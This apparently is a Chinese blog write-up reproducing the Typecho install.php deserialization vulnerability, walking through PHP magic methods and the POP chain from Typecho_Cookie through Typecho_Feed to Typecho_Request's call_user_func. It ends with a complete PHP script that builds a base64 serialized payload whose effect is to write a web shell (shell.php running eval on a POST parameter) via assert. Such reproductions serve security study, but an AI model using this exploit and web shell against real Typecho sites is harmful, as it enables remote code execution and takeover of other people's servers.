• Typecho反序列化漏洞复现分析


    首先还是函数介绍
    https://www.php.net/manual/zh/language.oop5.magic.php
    __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
    
    Warning
    不能在 __toString() 方法中抛出异常。这么做会导致致命错误。
    
    Example #2 简单示例
    
    <?php
    // Declare a simple class
    class TestClass
    {
        public $foo;
    
        public function __construct($foo) 
        {
            $this->foo = $foo;
        }
    
        public function __toString() {
            return $this->foo;
        }
    }
    
    $class = new TestClass('Hello');
    echo $class;
    ?>
    $a && $b	And(逻辑与)	TRUE,如果 $a 和 $b 都为 TRUE
    _get()
    这里有个php反序列化的知识点,当我们试图去访问一个对象的不存在或者私有属性的时候会触发__get魔法方法。所以这里如果我们的$item['author']是一个对象,且该对象没有screenName属性,那么我们就可以利用__get方法,那么思路又清晰了,全局搜索__get方法。
    
    php switch case
    https://www.w3school.com.cn/php/php_switch.asp
    好的逻辑我们清晰了 
    接下来call_user_function的值都能被我们控制 从而造成了rce
    

     首先我们来看install.php

     看到反序列化入口 这里将Typecho_cookie::get()方法的值base64解了在反序列化回来 赋值给$config

    这里我们跟进get方法发现_typercho_config是可控的

    $type=$config数组里面的adapter的值

    两个函数的介绍

    array_pop() 函数删除数组中的最后一个元素。
    <?php
    $a=array("red","green","blue");
    array_pop($a);
    print_r($a);
    ?>
    Array ( [0] => red [1] => green ) 
    <?php
    $str = "Hello world. I love Shanghai!";
    print_r (explode(" ",$str));
    ?>
    
    Array ( [0] => Hello [1] => world. [2] => I [3] => love [4] => Shanghai! )
    

     这里我们继续跟进看到

     $config素组的元素被当作Typecho_Db类里面的值调用了也就是

    我们输入-》反序列化后——》传入对象
    

     我们进一步跟进这个类里面 这个变量我们可控

     那么在这里触发_toString方法全局搜索看利用的_toString方法 这里有很多判断我们主要看这个

     这里$item['author']->screenName又可以触发_get()方法 那么我们继续全局跟进_get()

     然后跟进get()方法

     从而打到call_user_func两个参数都可以被我们控制

    好的接下来我们构造一下pop链

    在class Typecho_Request{里面我们要达到$filter和$value可控)
    就必须让_params[screename]的值等于我们后面的值
    fieter在我们类里面调用的三个方法里面未经过处理 所以我们可以直接定义 但是这里他必须为数组
    因此在此类里面 我们需要构造
    private $_params[screename]='phpinfo()';
    private $filter='eval';
    

    然后再

    class Typecho_Feed这个类里面我们继续分析
    

     

     所以this_type=

    _items['author']=class Typecho_Request这个对象才能触发_toSring方法
    

     构造payload 但是无回显

    <?php
    class Typecho_Request{
        private $_params= array('screenName'=> "file_put_contents('shell.php', '<?php eval($_POST[z]);//?>')");
        private $_filter= array('assert');
    }
    class Typecho_Feed{
        private $_items=array();
        private $_type='ATOM 1.0';
        public function __construct()
        {
            $items['author']=new Typecho_Request();
            $this->_items[0]=$items;
    
        }
    
    }
    $my=array('adapter'=>new Typecho_Feed(),'prefix'=>'typecho');
    $a=base64_encode(serialize($my));
    echo $a;
    ?>
    

     但是命令确实执行了的

     

  • 相关阅读:
    jar包的MANIFEST.MF文件
    Spring AOP无法拦截Controller中的方法
    强制更新 Maven缓存库
    【转】深入理解Java:注解(Annotation)--注解处理器
    Java-Method类常用方法详解
    MySQL下查看用户和建立用户
    【转】从零开始玩转logback
    【转】Java日志框架:logback详解
    【转】配置不当引起高危漏洞?看加密货币交易所如何正确用Spring Boot Actuaotr框架
    Spring MVC Junit4 单元測试 JunitTest
  • 原文地址:https://www.cnblogs.com/-zhong/p/12452294.html
Copyright © 2020-2023  润新知